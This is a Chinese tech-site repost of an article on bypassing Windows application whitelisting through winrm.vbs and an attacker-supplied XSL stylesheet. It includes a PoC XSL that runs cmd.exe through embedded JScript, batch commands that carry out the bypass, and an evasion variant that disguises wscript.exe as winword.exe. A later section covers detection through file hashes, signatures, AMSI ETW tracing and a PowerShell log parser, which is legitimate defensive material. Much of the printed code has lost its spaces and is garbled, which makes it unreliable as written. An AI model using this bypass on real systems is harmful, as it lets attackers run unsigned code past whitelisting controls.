溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

如何使用Winrm.vbs繞過應(yīng)用白名單執(zhí)行任意未簽名代碼

發(fā)布時間:2021-11-01 18:01:39 來源:億速云 閱讀:165 作者:小新 欄目:編程語言

這篇文章給大家分享的是有關(guān)如何使用Winrm.vbs繞過應(yīng)用白名單執(zhí)行任意未簽名代碼的內(nèi)容。小編覺得挺實用的,因此分享給大家做個參考,一起跟隨小編過來看看吧。

嚴(yán)正聲明:本文僅限于技術(shù)探討,嚴(yán)禁用于其他用途。

繞過技術(shù)

winrm.vbs(System31中的一個Windows簽名腳本)能夠執(zhí)行攻擊者控制的XSL,它不會受到相關(guān)腳本主機的限制,并實現(xiàn)任意無符號代碼執(zhí)行。

當(dāng)你向winrm.vbs提供“-format:pretty”或“-format:text”時,它會從cscript.exe所在的目錄中相應(yīng)地導(dǎo)出WsmPty.xsl或WsmTxt.xsl。這也就意味著,如果攻擊者能夠?qū)script.exe拷貝到一個他能控制的且存儲了惡意XSL的位置,他們就能夠執(zhí)行任意未簽名的代碼。實際上,這個問題跟Casey Smith的wmic.exe技術(shù)完全相同。

PoC

攻擊操作機制如下:

1. 將WsmPty.xsl或WsmTxt.xsl存放到一個由攻擊者控制的地方;

2. 將cscript.exe拷貝到同一個位置;

3. 通過“-format”指定”pretty”或“text”來執(zhí)行winrm.vbs,具體取決于使用的是WsmPty.xsl或WsmTxt.xsl。

下面給出的是一個惡意XLS樣本,我們需要將它放到攻擊者控制的目錄位置,這里選擇的是C:\BypassDir\WsmPty.xsl:

<?xmlversion='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform"xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<outputmethod="text"/>
 <ms:scriptimplements-prefix="user" language="JScript">
 <![CDATA[
 var r = newActiveXObject("WScript.Shell").Run("cmd.exe");
 ]]> </ms:script>
</stylesheet>

其實我們還可以在WsmPty.xsl中嵌入惡意的DotNetToJScript  Payload,并執(zhí)行任意未簽名代碼。接下來,可以使用下列batch文件來執(zhí)行Payload:

mkdir%SystemDrive%\BypassDir
copy%windir%\System32\cscript.exe %SystemDrive%\BypassDir
%SystemDrive%\BypassDir\cscript//nologo %windir%\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4-format:pretty

檢測和繞過策略

在實現(xiàn)這項技術(shù)的過程中,必須用到的就是攻擊者可控的WsmPty.xsl或WsmTxt.xsl。

winrm.vbs會對WsmPty.xsl或WsmTxt.xsl進行硬編碼,并顯式地將它們綁定到“pretty”和“text”參數(shù)上。就此看來,我們似乎沒有辦法來控制winrm.vbs去執(zhí)行當(dāng)前目錄中的不同xls文件。從檢測的角度來看,WsmPty.xsl或WsmTxt.xsl文件的哈希會跟System 32中原本的文件哈希不同,因此它們會被當(dāng)作可疑文件,因為合法xls文件的哈希值很少會發(fā)生變化。

除此之外,合法WsmPty.xsl或WsmTxt.xsl文件應(yīng)該是目錄簽名的,哈希值發(fā)生變化后將不會再對其進行簽名。也就是說,磁盤中任何沒有簽名的WsmPty.xsl或WsmTxt.xsl文件都應(yīng)該是可疑文件。需要注意的是,目錄簽名驗證需要運行“cryptsvc”服務(wù)。

基于命令行來檢測winrm.vbs是否存在的這種方案相對較弱,因為攻擊者可以將winrm.vbs重命名為他們所選擇的文件。

為了使用xls文件,這里必須在“format”參數(shù)中指定“pretty”或“text”。下面給出的是支持的“format”參數(shù)(大小寫不敏感):

-format:pretty
-format:"pretty"
/format:pretty
/format:"pretty"
-format:text
-format:"text"
/format:text
/format:"text"

雖然構(gòu)建基于“format”是否存在的檢測方案能夠捕捉到所有的變化,但這種檢測方案是存在問題的?!癴ormat”參數(shù)是否合法使用將取決于組織所采用的方案。不過除了System32中的cscript.exe和winrm.vbs之外,不太可能從其他任何地方合法調(diào)用了。

下面給出的是一個更新版的.bat PoC,它能夠繞過cscript.exe的檢測:

mkdir%SystemDrive%\BypassDir\cscript.exe
copy%windir%\System32\wscript.exe %SystemDrive%\BypassDir\cscript.exe\winword.exe
%SystemDrive%\BypassDir\cscript.exe\winword.exe//nologo %windir%\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4-format:pretty

WSH/XSLScript腳本

毫無疑問,攻擊者還會繼續(xù)使用XSL和WSH來進行攻擊。理想情況下,攻擊者是可以知道Payload到底是從硬盤中執(zhí)行的還是完全在內(nèi)存中執(zhí)行的。雖然Powershell具有這種使用scriptblock日志的能力,但針對WSH卻沒有相應(yīng)的工具。隨著反惡意軟件掃描接口(AMSI)的引入,我們將能夠捕捉到WSH內(nèi)容。

這里我們可以使用logman.exe來對ETL事件進行跟蹤,比如說下列命令將能夠控制ETW的跟蹤操作,并將跟AMSI相關(guān)的事件信息保存早AMSITrace.etl之中:

logman start AMSITrace -p Microsoft-Antimalware-Scan-Interface Event1 -o AMSITrace.etl-ets
<Afterstarting the trace, this is when you'd run your malicious code to capture itscontext.>
logmanstop AMSITrace -ets

接下來,我們還可以通過輸出數(shù)據(jù)清單來了解更多事件信息:

<instrumentation Manifestxmlns="http://schemas.microsoft.com/win/2004/08/events">
 <instrumentation xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xmlns:win="http://manifests.microsoft.com/win/2004/08/windows/events">
  <events>
   <provider name="Microsoft-Antimalware-Scan-Interface"guid="{2a576b87-09a7-520e-c21a-4942f0271d67}"resourceFileName="Microsoft-Antimalware-Scan-Interface"messageFileName="Microsoft-Antimalware-Scan-Interface"symbol="MicrosoftAntimalwareScanInterface" source="Xml">
    <keywords>
     <keyword name="Event1"message="$(string.keyword_Event1)" mask="0x1"/>
    </keywords>
    <tasks>
     <task name="task_0"message="$(string.task_task_0)" value="0"/>
    </tasks>
    <events>
     <event value="1101"symbol="task_0" version="0" task="task_0"level="win:Informational" keywords="Event1"template="task_0Args"/>
    </events>
    <templates>
     <templatetid="task_0Args">
      <data name="session"inType="win:Pointer"/>
      <data name="scanStatus"inType="win:UInt8"/>
      <data name="scanResult"inType="win:UInt32"/>
      <data name="appname"inType="win:UnicodeString"/>
      <data name="contentname"inType="win:UnicodeString"/>
      <data name="contentsize"inType="win:UInt32"/>
      <data name="originalsize"inType="win:UInt32"/>
      <data name="content"inType="win:Binary" length="contentsize"/>
      <data name="hash" inType="win:Binary"/>
      <data name="contentFiltered"inType="win:Boolean"/>
     </template>
    </templates>
   </provider>
  </events>
 </instrumentation>
 <localization>
  <resources culture="en-US">
   <stringTable>
    <string id="keyword_Event1"value="Event1"/>
    <string id="task_task_0"value="task_0"/>
   </stringTable>
  </resources>
 </localization>
</instrumentation Manifest>

捕捉到.etl跟蹤信息之后,我們可以選擇自己喜歡的工具來對其進行分析。Powershell中的Gt-WinEvent就是一個很好的內(nèi)置.etl解析器。為此,我自己編寫了一個簡單的腳本來分析AMSI事件,這個腳本還可以捕捉到PowerShell中的內(nèi)容:

#Script author: Matt Graeber (@mattifestation)
#logman start AMSITrace -p Microsoft-Antimalware-Scan-Interface Event1 -oAMSITrace.etl -ets
# Doyour malicious things here that would be logged by AMSI
#logman stop AMSITrace -ets
 
$OSArchProperty= Get-CimInstance -ClassName Win32_OperatingSystem -Property OSArchitecture
$OSArch= $OSArchProperty.OSArchitecture
 
$OSPointerSize= 32
if($OSArch -eq '64-bit') { $OSPointerSize = 64 }
 
$AMSIScanEvents= Get-WinEvent -Path .\AMSITrace.etl -Oldest -FilterXPath'*[System[EventID=1101]]' | ForEach-Object {
    if(-not $_.Properties) {
        # The AMSI provider is not supplyingthe contentname property when WSH content is logged resulting
        # in Get-WinEvent or Event Viewer beingunable to parse the data based on the schema.
        # If this bug were not present,retrieving WSH content would be trivial.
 
        $PayloadString = ([Xml]$_.ToXml()).Event.ProcessingErrorData.EventPayload
        [Byte[]] $PayloadBytes =($PayloadString -split '([0-9A-F]{2})' | Where-Object {$_} | ForEach-Object{[Byte] "0x$_"})
 
        $MemoryStream = New-Object -TypeNameIO.MemoryStream -ArgumentList @(,$PayloadBytes)
        $BinaryReader = New-Object -TypeNameIO.BinaryReader -ArgumentList $MemoryStream, ([Text.Encoding]::Unicode)
 
        switch ($OSPointerSize) {
            32 { $Session =$BinaryReader.ReadUInt32() }
            64 { $Session =$BinaryReader.ReadUInt64() }
        }
 
        $ScanStatus = $BinaryReader.ReadByte()
        $ScanResult = $BinaryReader.ReadInt32()
 
        $StringBuilder = New-Object -TypeNameText.StringBuilder
        do { $CharVal =$BinaryReader.ReadInt16(); $null = $StringBuilder.Append([Char] $CharVal) }while ($CharVal -ne 0)
        $AppName = $StringBuilder.ToString()
        $null = $StringBuilder.Clear()
 
        $ContentSize =$BinaryReader.ReadInt32()
        $OriginalSize =$BinaryReader.ReadInt32()
        $ContentRaw =$BinaryReader.ReadBytes($ContentSize)
        $Content =[Text.Encoding]::Unicode.GetString($ContentRaw)
        $Hash =[BitConverter]::ToString($BinaryReader.ReadBytes(0x20)).Replace('-', '')
        [Bool] $ContentFiltered =$BinaryReader.ReadInt32()
 
        $BinaryReader.Close()
 
        [PSCustomObject] @{
            Session = $Session
            ScanStatus = $ScanStatus
            ScanResult = $ScanResult
            AppName = $AppName
            ContentName = $null
            Content = $Content
            Hash = $Hash
            ContentFiltered = $ContentFiltered
        }
    } else {
        $Session = $_.Properties[0].Value
        $ScanStatus = $_.Properties[1].Value
        $ScanResult = $_.Properties[2].Value
        $AppName = $_.Properties[3].Value
        $ContentName = $_.Properties[4].Value
        $Content = [Text.Encoding]::Unicode.GetString($_.Properties[7].Value)
        $Hash =[BitConverter]::ToString($_.Properties[8].Value).Replace('-', '')
        $ContentFiltered =$_.Properties[9].Value
 
        [PSCustomObject] @{
            Session = $Session
            ScanStatus = $ScanStatus
            ScanResult = $ScanResult
            AppName = $AppName
            ContentName = $ContentName
            Content = $Content
            Hash = $Hash
            ContentFiltered = $ContentFiltered
        }
    }
}
 
$AMSIScanEvents

捕捉到相關(guān)信息之后,我們將能夠看到Payload的執(zhí)行內(nèi)容:

如何使用Winrm.vbs繞過應(yīng)用白名單執(zhí)行任意未簽名代碼

感謝各位的閱讀!關(guān)于“如何使用Winrm.vbs繞過應(yīng)用白名單執(zhí)行任意未簽名代碼”這篇文章就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,讓大家可以學(xué)到更多知識,如果覺得文章不錯,可以把它分享出去讓更多的人看到吧!

向AI問一下細節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

vbs
AI